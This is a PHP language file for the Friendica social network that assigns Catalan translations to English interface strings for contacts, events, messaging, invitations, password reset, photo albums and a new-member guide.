$a->strings["Confirmation completed successfully."] = "La confirmació s'ha completat correctament.";
$a->strings["Remote site reported: "] = "El lloc remot informa:";
$a->strings["Temporary failure. Please wait and try again."] = "Fallada temporal. Si us plau, espereu i torneu a intentar.";
$a->strings["Introduction failed or was revoked."] = "La presentació va fallar o va ser revocada.";
$a->strings["Unable to set contact photo."] = "No es pot canviar la foto de contacte.";
$a->strings["No user record found for '%s' "] = "No es troben registres d'usuari per a '%s'";
$a->strings["Our site encryption key is apparently messed up."] = "La nostra clau de xifrat del lloc pel que sembla en mal estat.";
$a->strings["Empty site URL was provided or URL could not be decrypted by us."] = "Es va proporcionar una URL del lloc buida o la URL no va poder ser desxifrada per nosaltres.";
$a->strings["Contact record was not found for you on our site."] = "No s'han trobat registres del contacte al nostre lloc.";
$a->strings["Site public key not available in contact record for URL %s."] = "la clau pública del lloc no disponible en les dades del contacte per URL %s.";
$a->strings["The ID provided by your system is a duplicate on our system. It should work if you try again."] = "La ID proporcionada pel seu sistema és un duplicat en el nostre sistema. Hauria de treballar si intenta de nou.";
$a->strings["Unable to set your contact credentials on our system."] = "No es pot canviar les seves credencials de contacte en el nostre sistema.";
$a->strings["Unable to update your contact profile details on our system"] = "No es pot actualitzar els detalls del seu perfil de contacte en el nostre sistema";
$a->strings["Connection accepted at %s"] = "Connexió acceptada en %s";
$a->strings["%1\$s has joined %2\$s"] = "%1\$s s'ha unit a %2\$s";
$a->strings["%1\$s welcomes %2\$s"] = "%1\$s benvingut %2\$s";
$a->strings["This introduction has already been accepted."] = "Aquesta presentació ha estat acceptada.";
$a->strings["Profile location is not valid or does not contain profile information."] = "El perfil de situació no és vàlid o no contè informació de perfil";
$a->strings["Warning: profile location has no identifiable owner name."] = "Atenció: El perfil de situació no te nom de propietari identificable.";
$a->strings["Warning: profile location has no profile photo."] = "Atenció: El perfil de situació no te foto de perfil";
$a->strings["%d required parameter was not found at the given location"] = array(
0 => "%d el paràmetre requerit no es va trobar al lloc indicat",
1 => "%d els paràmetres requerits no es van trobar allloc indicat",
);
$a->strings["Introduction complete."] = "Completada la presentació.";
$a->strings["Unrecoverable protocol error."] = "Error de protocol irrecuperable.";
$a->strings["Profile unavailable."] = "Perfil no disponible";
$a->strings["%s has received too many connection requests today."] = "%s avui ha rebut excesives peticions de connexió. ";
$a->strings["Spam protection measures have been invoked."] = "Mesures de protecció contra spam han estat invocades.";
$a->strings["Friends are advised to please try again in 24 hours."] = "S'aconsellà els amics que probin pasades 24 hores.";
$a->strings["Invalid locator"] = "Localitzador no vàlid";
$a->strings["Invalid email address."] = "Adreça de correu no vàlida.";
$a->strings["This account has not been configured for email. Request failed."] = "Aquest compte no s'ha configurat per al correu electrònic. Ha fallat la sol·licitud.";
$a->strings["Unable to resolve your name at the provided location."] = "Incapaç de resoldre el teu nom al lloc facilitat.";
$a->strings["You have already introduced yourself here."] = "Has fer la teva presentació aquí.";
$a->strings["Apparently you are already friends with %s."] = "Aparentment, ja tens amistat amb %s";
$a->strings["Invalid profile URL."] = "Perfil URL no vàlid.";
$a->strings["Your introduction has been sent."] = "La teva presentació ha estat enviada.";
$a->strings["Please login to confirm introduction."] = "Si us plau, entri per confirmar la presentació.";
$a->strings["Incorrect identity currently logged in. Please login to <strong>this</strong> profile."] = "Sesió iniciada amb la identificació incorrecta. Entra en <strong>aquest</strong> perfil.";
$a->strings["Hide this contact"] = "Amaga aquest contacte";
$a->strings["Welcome home %s."] = "Benvingut de nou %s";
$a->strings["Please confirm your introduction/connection request to %s."] = "Si us plau, confirmi la seva sol·licitud de Presentació/Amistat a %s.";
$a->strings["Confirm"] = "Confirmar";
$a->strings["Please enter your 'Identity Address' from one of the following supported communications networks:"] = "Si us plau, introdueixi la seva \"Adreça Identificativa\" d'una de les següents xarxes socials suportades:";
$a->strings["<strike>Connect as an email follower</strike> (Coming soon)"] = "<strike>Connectar com un seguidor de correu</strike> (Disponible aviat)";
$a->strings["If you are not yet a member of the free social web, <a href=\"http://dir.friendica.com/siteinfo\">follow this link to find a public Friendica site and join us today</a>."] = "Si encara no ets membre de la web social lliure, <a href=\"http://dir.friendica.com/siteinfo\">segueix aquest enllaç per a trobar un lloc Friendica públic i uneix-te avui</a>.";
$a->strings["Friend/Connection Request"] = "Sol·licitud d'Amistat";
$a->strings["Examples: <EMAIL>, http://demo.friendica.com/profile/jojo, <EMAIL>"] = "Exemples: <EMAIL>, http://demo.friendica.com/profile/jojo, <EMAIL>";
$a->strings["Please answer the following:"] = "Si us plau, contesti les següents preguntes:";
$a->strings["Does %s know you?"] = "%s et coneix?";
$a->strings["Add a personal note:"] = "Afegir una nota personal:";
$a->strings["StatusNet/Federated Social Web"] = "Web Social StatusNet/Federated ";
$a->strings[" - please do not use this form. Instead, enter %s into your Diaspora search bar."] = " - per favor no utilitzi aquest formulari. Al contrari, entra %s en la barra de cerques de Diaspora.";
$a->strings["Your Identity Address:"] = "La Teva Adreça Identificativa:";
$a->strings["Submit Request"] = "Sol·licitud Enviada";
$a->strings["%1\$s is following %2\$s's %3\$s"] = "%1\$s esta seguint %2\$s de %3\$s";
$a->strings["Global Directory"] = "Directori Global";
$a->strings["Find on this site"] = "Trobat en aquest lloc";
$a->strings["Site Directory"] = "Directori Local";
$a->strings["Gender: "] = "Gènere:";
$a->strings["No entries (some entries may be hidden)."] = "No hi ha entrades (algunes de les entrades poden estar amagades).";
$a->strings["Do you really want to delete this suggestion?"] = "Realment vols esborrar aquest suggeriment?";
$a->strings["No suggestions available. If this is a new site, please try again in 24 hours."] = "Cap suggeriment disponible. Si això és un nou lloc, si us plau torna a intentar en 24 hores.";
$a->strings["Ignore/Hide"] = "Ignorar/Amagar";
$a->strings["People Search"] = "<NAME>";
$a->strings["No matches"] = "No hi ha coincidències";
$a->strings["No videos selected"] = "No s'han seleccionat vídeos ";
$a->strings["Access to this item is restricted."] = "L'accés a aquest element està restringit.";
$a->strings["View Album"] = "Veure Àlbum";
$a->strings["Recent Videos"] = "Videos Recents";
$a->strings["Upload New Videos"] = "Carrega Nous Videos";
$a->strings["Tag removed"] = "Etiqueta eliminada";
$a->strings["Remove Item Tag"] = "Esborrar etiqueta del element";
$a->strings["Select a tag to remove: "] = "Selecciona etiqueta a esborrar:";
$a->strings["Item not found"] = "Element no trobat";
$a->strings["Edit post"] = "Editar Enviament";
$a->strings["Event title and start time are required."] = "Títol d'esdeveniment i hora d'inici requerits.";
$a->strings["l, F j"] = "l, F j";
$a->strings["Edit event"] = "Editar esdeveniment";
$a->strings["Create New Event"] = "Crear un nou esdeveniment";
$a->strings["Previous"] = "Previ";
$a->strings["Next"] = "Següent";
$a->strings["hour:minute"] = "hora:minut";
$a->strings["Event details"] = "Detalls del esdeveniment";
$a->strings["Format is %s %s. Starting date and Title are required."] = "El Format és %s %s. Data d'inici i títol requerits.";
$a->strings["Event Starts:"] = "Inici d'Esdeveniment:";
$a->strings["Required"] = "Requerit";
$a->strings["Finish date/time is not known or not relevant"] = "La data/hora de finalització no es coneixen o no són relevants";
$a->strings["Event Finishes:"] = "L'esdeveniment Finalitza:";
$a->strings["Adjust for viewer timezone"] = "Ajustar a la zona horaria de l'espectador";
$a->strings["Description:"] = "Descripció:";
$a->strings["Title:"] = "Títol:";
$a->strings["Share this event"] = "Compartir aquest esdeveniment";
$a->strings["Files"] = "Arxius";
$a->strings["Export account"] = "Exportar compte";
$a->strings["Export your account info and contacts. Use this to make a backup of your account and/or to move it to another server."] = "Exportar la teva informació del compte i de contactes. Empra això per fer una còpia de seguretat del teu compte i/o moure'l cap altre servidor. ";
$a->strings["Export all"] = "Exportar tot";
$a->strings["Export your accout info, contacts and all your items as json. Could be a very big file, and could take a lot of time. Use this to make a full backup of your account (photos are not exported)"] = "Exportar la teva informació de compte, contactes i tots els teus articles com a json. Pot ser un fitxer molt gran, i pot trigar molt temps. Empra això per fer una còpia de seguretat total del teu compte (les fotos no s'exporten)";
$a->strings["- select -"] = "- seleccionar -";
$a->strings["Import"] = "Importar";
$a->strings["Move account"] = "Moure el compte";
$a->strings["You can import an account from another Friendica server."] = "Pots importar un compte d'un altre servidor Friendica";
$a->strings["You need to export your account from the old server and upload it here. We will recreate your old account here with all your contacts. We will try also to inform your friends that you moved here."] = "Es necessari que exportis el teu compte de l'antic servidor i el pugis a aquest. Recrearem el teu antic compte aquí amb tots els teus contactes. Intentarem també informar als teus amics que t'has traslladat aquí.";
$a->strings["This feature is experimental. We can't import contacts from the OStatus network (statusnet/identi.ca) or from Diaspora"] = "Aquesta característica es experimental. Podem importar els teus contactes de la xarxa OStatus (status/identi.ca) o de Diaspora";
$a->strings["Account file"] = "Arxiu del compte";
$a->strings["To export your accont, go to \"Settings->Export your porsonal data\" and select \"Export account\""] = "Per exportar el teu compte, ves a \"Ajustos->Exportar les teves dades personals\" i sel·lecciona \"Exportar compte\"";
$a->strings["[Embedded content - reload page to view]"] = "[Contingut embegut - recarrega la pàgina per a veure-ho]";
$a->strings["Contact added"] = "Contacte afegit";
$a->strings["This is Friendica, version"] = "Això és Friendica, versió";
$a->strings["running at web location"] = "funcionant en la ubicació web";
$a->strings["Please visit <a href=\"http://friendica.com\">Friendica.com</a> to learn more about the Friendica project."] = "Si us plau, visiteu <a href=\"http://friendica.com\">Friendica.com</a> per obtenir més informació sobre el projecte Friendica.";
$a->strings["Bug reports and issues: please visit"] = "Pels informes d'error i problemes: si us plau, visiteu";
$a->strings["Suggestions, praise, donations, etc. - please email \"Info\" at Friendica - dot com"] = "Suggeriments, elogis, donacions, etc si us plau escrigui a \"Info\" en Friendica - dot com";
$a->strings["Installed plugins/addons/apps:"] = "plugins/addons/apps instal·lats:";
$a->strings["No installed plugins/addons/apps"] = "plugins/addons/apps no instal·lats";
$a->strings["Friend suggestion sent."] = "Enviat suggeriment d'amic.";
$a->strings["Suggest Friends"] = "Suggerir Amics";
$a->strings["Suggest a friend for %s"] = "Suggerir un amic per a %s";
$a->strings["Group created."] = "Grup creat.";
$a->strings["Could not create group."] = "No puc crear grup.";
$a->strings["Group not found."] = "Grup no trobat";
$a->strings["Group name changed."] = "Nom de Grup canviat.";
$a->strings["Create a group of contacts/friends."] = "Crear un grup de contactes/amics.";
$a->strings["Group Name: "] = "Nom del Grup:";
$a->strings["Group removed."] = "Grup esborrat.";
$a->strings["Unable to remove group."] = "Incapaç de esborrar Grup.";
$a->strings["Group Editor"] = "Editor de Grup:";
$a->strings["Members"] = "Membres";
$a->strings["No profile"] = "Sense perfil";
$a->strings["Help:"] = "Ajuda:";
$a->strings["Not Found"] = "No trobat";
$a->strings["Page not found."] = "Pàgina no trobada.";
$a->strings["No contacts."] = "Sense Contactes";
$a->strings["Welcome to %s"] = "Benvingut a %s";
$a->strings["Access denied."] = "Accés denegat.";
$a->strings["File exceeds size limit of %d"] = "L'arxiu excedeix la mida límit de %d";
$a->strings["File upload failed."] = "La càrrega de fitxers ha fallat.";
$a->strings["Image exceeds size limit of %d"] = "La imatge sobrepassa el límit de mida de %d";
$a->strings["Unable to process image."] = "Incapaç de processar la imatge.";
$a->strings["Image upload failed."] = "Actualització de la imatge fracassada.";
$a->strings["Total invitation limit exceeded."] = "Limit d'invitacions excedit.";
$a->strings["%s : Not a valid email address."] = "%s : No es una adreça de correu vàlida";
$a->strings["Please join us on Friendica"] = "Per favor, uneixi's a nosaltres en Friendica";
$a->strings["Invitation limit exceeded. Please contact your site administrator."] = "Limit d'invitacions excedit. Per favor, Contacti amb l'administrador del lloc.";
$a->strings["%s : Message delivery failed."] = "%s : Ha fallat l'entrega del missatge.";
$a->strings["%d message sent."] = array(
0 => "%d missatge enviat",
1 => "%d missatges enviats.",
);
$a->strings["You have no more invitations available"] = "No te més invitacions disponibles";
$a->strings["Visit %s for a list of public sites that you can join. Friendica members on other sites can all connect with each other, as well as with members of many other social networks."] = "Visita %s per a una llista de llocs públics on unir-te. Els membres de Friendica d'altres llocs poden connectar-se de forma total, així com amb membres de moltes altres xarxes socials.";
$a->strings["To accept this invitation, please visit and register at %s or any other public Friendica website."] = "Per acceptar aquesta invitació, per favor visita i registra't a %s o en qualsevol altre pàgina web pública Friendica.";
$a->strings["Friendica sites all inter-connect to create a huge privacy-enhanced social web that is owned and controlled by its members. They can also connect with many traditional social networks. See %s for a list of alternate Friendica sites you can join."] = "Tots els llocs Friendica estàn interconnectats per crear una web social amb privacitat millorada, controlada i propietat dels seus membres. També poden connectar amb moltes xarxes socials tradicionals. Consulteu %s per a una llista de llocs de Friendica alternatius en que pot inscriure's.";
$a->strings["Our apologies. This system is not currently configured to connect with other public sites or invite members."] = "Nostres disculpes. Aquest sistema no està configurat actualment per connectar amb altres llocs públics o convidar als membres.";
$a->strings["Send invitations"] = "Enviant Invitacions";
$a->strings["Enter email addresses, one per line:"] = "Entri adreçes de correu, una per línia:";
$a->strings["Your message:"] = "El teu missatge:";
$a->strings["You are cordially invited to join me and other close friends on Friendica - and help us to create a better social web."] = "Estàs cordialment convidat a ajuntarte a mi i altres amics propers en Friendica - i ajudar-nos a crear una millor web social.";
$a->strings["You will need to supply this invitation code: \$invite_code"] = "Vostè haurà de proporcionar aquest codi d'invitació: \$invite_code";
$a->strings["Once you have registered, please connect with me via my profile page at:"] = "Un cop registrat, si us plau contactar amb mi a través de la meva pàgina de perfil a:";
$a->strings["For more information about the Friendica project and why we feel it is important, please visit http://friendica.com"] = "Per a més informació sobre el projecte Friendica i perque creiem que això es important, per favor, visita http://friendica.com";
$a->strings["Number of daily wall messages for %s exceeded. Message failed."] = "Nombre diari de missatges al mur per %s excedit. El missatge ha fallat.";
$a->strings["No recipient selected."] = "No s'ha seleccionat destinatari.";
$a->strings["Unable to check your home location."] = "Incapaç de comprovar la localització.";
$a->strings["Message could not be sent."] = "El Missatge no ha estat enviat.";
$a->strings["Message collection failure."] = "Ha fallat la recollida del missatge.";
$a->strings["Message sent."] = "Missatge enviat.";
$a->strings["No recipient."] = "Sense destinatari.";
$a->strings["Send Private Message"] = "Enviant Missatge Privat";
$a->strings["If you wish for %s to respond, please check that the privacy settings on your site allow private mail from unknown senders."] = "si vols respondre a %s, comprova que els ajustos de privacitat del lloc permeten correus privats de remitents desconeguts.";
$a->strings["To:"] = "Per a:";
$a->strings["Subject:"] = "Assumpte::";
$a->strings["Time Conversion"] = "Temps de Conversió";
$a->strings["Friendica provides this service for sharing events with other networks and friends in unknown timezones."] = "Friendica ofereix aquest servei per a compartir esdeveniments amb d'altres xarxes i amics en zones horaries que son desconegudes";
$a->strings["UTC time: %s"] = "hora UTC: %s";
$a->strings["Current timezone: %s"] = "Zona horària actual: %s";
$a->strings["Converted localtime: %s"] = "Conversión de hora local: %s";
$a->strings["Please select your timezone:"] = "Si us plau, seleccioneu la vostra zona horària:";
$a->strings["Remote privacy information not available."] = "Informació de privacitat remota no disponible.";
$a->strings["Visible to:"] = "Visible per a:";
$a->strings["No valid account found."] = "compte no vàlid trobat.";
$a->strings["Password reset request issued. Check your email."] = "Sol·licitut de restabliment de contrasenya enviat. Comprovi el seu correu.";
$a->strings["Password reset requested at %s"] = "Contrasenya restablerta enviada a %s";
$a->strings["Request could not be verified. (You may have previously submitted it.) Password reset failed."] = "La sol·licitut no pot ser verificada. (Hauries de presentar-la abans). Restabliment de contrasenya fracassat.";
$a->strings["Password Reset"] = "Restabliment de Contrasenya";
$a->strings["Your password has been reset as requested."] = "La teva contrasenya fou restablerta com vas demanar.";
$a->strings["Your new password is"] = "La teva nova contrasenya es";
$a->strings["Save or copy your new password - and then"] = "Guarda o copia la nova contrasenya - i llavors";
$a->strings["click here to login"] = "clica aquí per identificarte";
$a->strings["Your password may be changed from the <em>Settings</em> page after successful login."] = "Pots camviar la contrasenya des de la pàgina de <em>Configuración</em> desprès d'accedir amb èxit.";
$a->strings["Your password has been changed at %s"] = "La teva contrasenya ha estat canviada a %s";
$a->strings["Forgot your Password?"] = "Has Oblidat la Contrasenya?";
$a->strings["Enter your email address and submit to have your password reset. Then check your email for further instructions."] = "Introdueixi la seva adreça de correu i enivii-la per restablir la seva contrasenya. Llavors comprovi el seu correu per a les següents instruccións. ";
$a->strings["Nickname or Email: "] = "Àlies o Correu:";
$a->strings["Reset"] = "Restablir";
$a->strings["System down for maintenance"] = "Sistema apagat per manteniment";
$a->strings["Manage Identities and/or Pages"] = "Administrar Identitats i/o Pàgines";
$a->strings["Toggle between different identities or community/group pages which share your account details or which you have been granted \"manage\" permissions"] = "Alternar entre les diferents identitats o les pàgines de comunitats/grups que comparteixen les dades del seu compte o que se li ha concedit els permisos de \"administrar\"";
$a->strings["Select an identity to manage: "] = "Seleccionar identitat a administrar:";
$a->strings["Profile Match"] = "Perfil Aconseguit";
$a->strings["No keywords to match. Please add keywords to your default profile."] = "No hi ha paraules clau que coincideixin. Si us plau, afegeixi paraules clau al teu perfil predeterminat.";
$a->strings["is interested in:"] = "està interessat en:";
$a->strings["Unable to locate contact information."] = "No es pot trobar informació de contacte.";
$a->strings["Do you really want to delete this message?"] = "Realment vols esborrar aquest missatge?";
$a->strings["Message deleted."] = "Missatge eliminat.";
$a->strings["Conversation removed."] = "Conversació esborrada.";
$a->strings["No messages."] = "Sense missatges.";
$a->strings["Unknown sender - %s"] = "remitent desconegut - %s";
$a->strings["You and %s"] = "Tu i %s";
$a->strings["%s and You"] = "%s i Tu";
$a->strings["Delete conversation"] = "Esborrar conversació";
$a->strings["D, d M Y - g:i A"] = "D, d M Y - g:i A";
$a->strings["%d message"] = array(
0 => "%d missatge",
1 => "%d missatges",
);
$a->strings["Message not available."] = "Missatge no disponible.";
$a->strings["Delete message"] = "Esborra missatge";
$a->strings["No secure communications available. You <strong>may</strong> be able to respond from the sender's profile page."] = "Comunicacions degures no disponibles. Tú <strong>pots</strong> respondre des de la pàgina de perfil del remitent.";
$a->strings["Send Reply"] = "Enviar Resposta";
$a->strings["Mood"] = "Humor";
$a->strings["Set your current mood and tell your friends"] = "Ajusta el teu actual estat d'ànim i comenta-ho als amics";
$a->strings["Search Results For:"] = "Resultats de la Cerca Per a:";
$a->strings["Commented Order"] = "Ordre dels Comentaris";
$a->strings["Sort by Comment Date"] = "Ordenar per Data de Comentari";
$a->strings["Posted Order"] = "Ordre dels Enviaments";
$a->strings["Sort by Post Date"] = "Ordenar per Data d'Enviament";
$a->strings["Personal"] = "Personal";
$a->strings["Posts that mention or involve you"] = "Missatge que et menciona o t'impliquen";
$a->strings["New"] = "Nou";
$a->strings["Activity Stream - by date"] = "Activitat del Flux - per data";
$a->strings["Shared Links"] = "Enllaços Compartits";
$a->strings["Interesting Links"] = "Enllaços Interesants";
$a->strings["Starred"] = "Favorits";
$a->strings["Favourite Posts"] = "Enviaments Favorits";
$a->strings["Warning: This group contains %s member from an insecure network."] = array(
0 => "Advertència: Aquest grup conté el membre %s en una xarxa insegura.",
1 => "Advertència: Aquest grup conté %s membres d'una xarxa insegura.",
);
$a->strings["Private messages to this group are at risk of public disclosure."] = "Els missatges privats a aquest grup es troben en risc de divulgació pública.";
$a->strings["No such group"] = "Cap grup com";
$a->strings["Group is empty"] = "El Grup es buit";
$a->strings["Group: "] = "Grup:";
$a->strings["Contact: "] = "Contacte:";
$a->strings["Private messages to this person are at risk of public disclosure."] = "Els missatges privats a aquesta persona es troben en risc de divulgació pública.";
$a->strings["Invalid contact."] = "Contacte no vàlid.";
$a->strings["Invalid request identifier."] = "Sol·licitud d'identificació no vàlida.";
$a->strings["Discard"] = "Descartar";
$a->strings["System"] = "Sistema";
$a->strings["Show Ignored Requests"] = "Mostra les Sol·licituds Ignorades";
$a->strings["Hide Ignored Requests"] = "Amaga les Sol·licituds Ignorades";
$a->strings["Notification type: "] = "Tipus de Notificació:";
$a->strings["Friend Suggestion"] = "Amics Suggerits ";
$a->strings["suggested by %s"] = "sugerit per %s";
$a->strings["Post a new friend activity"] = "Publica una activitat d'amic nova";
$a->strings["if applicable"] = "si es pot aplicar";
$a->strings["Claims to be known to you: "] = "Diu que et coneix:";
$a->strings["yes"] = "sí";
$a->strings["no"] = "no";
$a->strings["Approve as: "] = "Aprovat com:";
$a->strings["Friend"] = "Amic";
$a->strings["Sharer"] = "Partícip";
$a->strings["Fan/Admirer"] = "Fan/Admirador";
$a->strings["Friend/Connect Request"] = "Sol·licitud d'Amistat/Connexió";
$a->strings["New Follower"] = "Nou Seguidor";
$a->strings["No introductions."] = "Sense presentacions.";
$a->strings["%s liked %s's post"] = "A %s li agrada l'enviament de %s";
$a->strings["%s disliked %s's post"] = "A %s no li agrada l'enviament de %s";
$a->strings["%s is now friends with %s"] = "%s es ara amic de %s";
$a->strings["%s created a new post"] = "%s ha creat un enviament nou";
$a->strings["%s commented on %s's post"] = "%s va comentar en l'enviament de %s";
$a->strings["No more network notifications."] = "No més notificacions de xarxa.";
$a->strings["Network Notifications"] = "Notificacions de la Xarxa";
$a->strings["No more system notifications."] = "No més notificacions del sistema.";
$a->strings["System Notifications"] = "Notificacions del Sistema";
$a->strings["No more personal notifications."] = "No més notificacions personals.";
$a->strings["Personal Notifications"] = "Notificacions Personals";
$a->strings["No more home notifications."] = "No més notificacions d'inici.";
$a->strings["Home Notifications"] = "Notificacions d'Inici";
$a->strings["Photo Albums"] = "Àlbum de Fotos";
$a->strings["Contact Photos"] = "Fotos de Contacte";
$a->strings["Upload New Photos"] = "Actualitzar Noves Fotos";
$a->strings["Contact information unavailable"] = "Informació del Contacte no disponible";
$a->strings["Album not found."] = "Àlbum no trobat.";
$a->strings["Delete Album"] = "Eliminar Àlbum";
$a->strings["Do you really want to delete this photo album and all its photos?"] = "Realment vols esborrar aquest album de fotos amb totes les fotos?";
$a->strings["Delete Photo"] = "Eliminar Foto";
$a->strings["Do you really want to delete this photo?"] = "Realment vols esborrar aquesta foto?";
$a->strings["%1\$s was tagged in %2\$s by %3\$s"] = "%1\$s fou etiquetat a %2\$s per %3\$s";
$a->strings["a photo"] = "una foto";
$a->strings["Image exceeds size limit of "] = "La imatge excedeix el límit de ";
$a->strings["Image file is empty."] = "El fitxer de imatge és buit.";
$a->strings["No photos selected"] = "No s'han seleccionat fotos";
$a->strings["You have used %1$.2f Mbytes of %2$.2f Mbytes photo storage."] = "Has emprat %1$.2f Mbytes de %2$.2f Mbytes del magatzem de fotos.";
$a->strings["Upload Photos"] = "Carregar Fotos";
$a->strings["New album name: "] = "Nou nom d'àlbum:";
$a->strings["or existing album name: "] = "o nom d'àlbum existent:";
$a->strings["Do not show a status post for this upload"] = "No tornis a mostrar un missatge d'estat d'aquesta pujada";
$a->strings["Permissions"] = "Permisos";
$a->strings["Private Photo"] = "Foto Privada";
$a->strings["Public Photo"] = "Foto Pública";
$a->strings["Edit Album"] = "Editar Àlbum";
$a->strings["Show Newest First"] = "Mostrar el més Nou Primer";
$a->strings["Show Oldest First"] = "Mostrar el més Antic Primer";
$a->strings["View Photo"] = "Veure Foto";
$a->strings["Permission denied. Access to this item may be restricted."] = "Permís denegat. L'accés a aquest element pot estar restringit.";
$a->strings["Photo not available"] = "Foto no disponible";
$a->strings["View photo"] = "Veure foto";
$a->strings["Edit photo"] = "Editar foto";
$a->strings["Use as profile photo"] = "Emprar com a foto del perfil";
$a->strings["Private Message"] = "Missatge Privat";
$a->strings["View Full Size"] = "Veure'l a Mida Completa";
$a->strings["Tags: "] = "Etiquetes:";
$a->strings["[Remove any tag]"] = "Treure etiquetes";
$a->strings["Rotate CW (right)"] = "Rotar CW (dreta)";
$a->strings["Rotate CCW (left)"] = "Rotar CCW (esquerra)";
$a->strings["New album name"] = "Nou nom d'àlbum";
$a->strings["Caption"] = "Títol";
$a->strings["Add a Tag"] = "Afegir una etiqueta";
$a->strings["Example: @bob, @Barbara_Jensen, <EMAIL>, #California, #camping"] = "Exemple: @bob, @Barbara_jensen, <EMAIL>, #California, #camping";
$a->strings["Private photo"] = "Foto Privada";
$a->strings["Public photo"] = "Foto pública";
$a->strings["I like this (toggle)"] = "M'agrada això (canviar)";
$a->strings["I don't like this (toggle)"] = "No m'agrada això (canviar)";
$a->strings["This is you"] = "Aquest ets tu";
$a->strings["Comment"] = "Comentari";
$a->strings["Recent Photos"] = "Fotos Recents";
$a->strings["Welcome to Friendica"] = "Benvingut a Friendica";
$a->strings["New Member Checklist"] = "Llista de Verificació dels Nous Membres";
$a->strings["We would like to offer some tips and links to help make your experience enjoyable. Click any item to visit the relevant page. A link to this page will be visible from your home page for two weeks after your initial registration and then will quietly disappear."] = "Ens agradaria oferir alguns consells i enllaços per ajudar a fer la teva experiència agradable. Feu clic a qualsevol element per visitar la pàgina corresponent. Un enllaç a aquesta pàgina serà visible des de la pàgina d'inici durant dues setmanes després de la teva inscripció inicial i després desapareixerà en silenci.";
$a->strings["Getting Started"] = "Començem";
$a->strings["Friendica Walk-Through"] = "Paseja per Friendica";
$a->strings["On your <em>Quick Start</em> page - find a brief introduction to your profile and network tabs, make some new connections, and find some groups to join."] = "A la teva pàgina de <em>Inici Ràpid</em> - troba una breu presentació per les teves fitxes de perfil i xarxa, crea alguna nova connexió i troba algun grup per unir-te.";
$a->strings["Go to Your Settings"] = "Anar als Teus Ajustos";
$a->strings["On your <em>Settings</em> page - change your initial password. Also make a note of your Identity Address. This looks just like an email address - and will be useful in making friends on the free social web."] = "En la de la seva <em>configuració</em> de la pàgina - canviï la contrasenya inicial. També prengui nota de la Adreça d'Identitat. Això s'assembla a una adreça de correu electrònic - i serà útil per fer amics a la xarxa social lliure.";
$a->strings["Review the other settings, particularly the privacy settings. An unpublished directory listing is like having an unlisted phone number. In general, you should probably publish your listing - unless all of your friends and potential friends know exactly how to find you."] = "Reviseu les altres configuracions, en particular la configuració de privadesa. Una llista de directoris no publicada és com tenir un número de telèfon no llistat. Normalment, hauria de publicar la seva llista - a menys que tots els seus amics i els amics potencials sàpiguen exactament com trobar-li.";
$a->strings["Upload Profile Photo"] = "Pujar Foto del Perfil";
$a->strings["Upload a profile photo if you have not done so already. Studies have shown that people with real photos of themselves are ten times more likely to make friends than people who do not."] = "Puji una foto del seu perfil si encara no ho ha fet. Els estudis han demostrat que les persones amb fotos reals de ells mateixos tenen deu vegades més probabilitats de fer amics que les persones que no ho fan.";
$a->strings["Edit Your Profile"] = "Editar el Teu Perfil";
$a->strings["Edit your <strong>default</strong> profile to your liking. Review the settings for hiding your list of friends and hiding the profile from unknown visitors."] = "Editi el perfil per <strong>defecte</strong> al seu gust. Reviseu la configuració per ocultar la seva llista d'amics i ocultar el perfil dels visitants desconeguts.";
$a->strings["Profile Keywords"] = "Paraules clau del Perfil";
$a->strings["Set some public keywords for your default profile which describe your interests. We may be able to find other people with similar interests and suggest friendships."] = "Estableix algunes paraules clau públiques al teu perfil predeterminat que descriguin els teus interessos. Podem ser capaços de trobar altres persones amb interessos similars i suggerir amistats.";
$a->strings["Connecting"] = "Connectant";
$a->strings["Authorise the Facebook Connector if you currently have a Facebook account and we will (optionally) import all your Facebook friends and conversations."] = "Autoritzi el connector de Facebook si vostè té un compte al Facebook i nosaltres (opcionalment) importarem tots els teus amics de Facebook i les converses.";
$a->strings["<em>If</em> this is your own personal server, installing the Facebook addon may ease your transition to the free social web."] = "<em>Si </em> aquesta és el seu servidor personal, la instal·lació del complement de Facebook pot facilitar la transició a la web social lliure.";
$a->strings["Importing Emails"] = "Important Emails";
$a->strings["Enter your email access information on your Connector Settings page if you wish to import and interact with friends or mailing lists from your email INBOX"] = "Introduïu les dades d'accés al correu electrònic a la seva pàgina de configuració de connector, si es desitja importar i relacionar-se amb amics o llistes de correu de la seva bústia d'email";
$a->strings["Go to Your Contacts Page"] = "Anar a la Teva Pàgina de Contactes";
$a->strings["Your Contacts page is your gateway to managing friendships and connecting with friends on other networks. Typically you enter their address or site URL in the <em>Add New Contact</em> dialog."] = "La seva pàgina de Contactes és la seva porta d'entrada a la gestió de l'amistat i la connexió amb amics d'altres xarxes. Normalment, vostè entrar en la seva direcció o URL del lloc al diàleg <em>Afegir Nou Contacte</em>.";
$a->strings["Go to Your Site's Directory"] = "Anar al Teu Directori";
$a->strings["The Directory page lets you find other people in this network or other federated sites. Look for a <em>Connect</em> or <em>Follow</em> link on their profile page. Provide your own Identity Address if requested."] = "La pàgina del Directori li permet trobar altres persones en aquesta xarxa o altres llocs federats. Busqui un enllaç <em>Connectar</em> o <em>Seguir</em> a la seva pàgina de perfil. Proporcioni la seva pròpia Adreça de Identitat si així ho sol·licita.";
$a->strings["Finding New People"] = "Trobar <NAME>";
$a->strings["On the side panel of the Contacts page are several tools to find new friends. We can match people by interest, look up people by name or interest, and provide suggestions based on network relationships. On a brand new site, friend suggestions will usually begin to be populated within 24 hours."] = "Al tauler lateral de la pàgina de contacte Hi ha diverses eines per trobar nous amics. Podem coincidir amb les persones per interesos, buscar persones pel nom o per interès, i oferir suggeriments basats en les relacions de la xarxa. En un nou lloc, els suggeriments d'amics, en general comencen a poblar el lloc a les 24 hores.";
$a->strings["Group Your Contacts"] = "Agrupar els Teus Contactes";
$a->strings["Once you have made some friends, organize them into private conversation groups from the sidebar of your Contacts page and then you can interact with each group privately on your Network page."] = "Una vegada que s'han fet alguns amics, organitzi'ls en grups de conversa privada a la barra lateral de la seva pàgina de contactes i després pot interactuar amb cada grup de forma privada a la pàgina de la xarxa.";
$a->strings["Why Aren't My Posts Public?"] = "Per que no es public el meu enviament?";
$a->strings["Friendica respects your privacy. By default, your posts will only show up to people you've added as friends. For more information, see the help section from the link above."] = "Friendica respecta la teva privacitat. Per defecte, els teus enviaments només s'envien a gent que has afegit com a amic. Per més informació, mira la secció d'ajuda des de l'enllaç de dalt.";
$a->strings["Getting Help"] = "Demanant Ajuda";
$a->strings["Go to the Help Section"] = "Anar a la secció d'Ajuda";
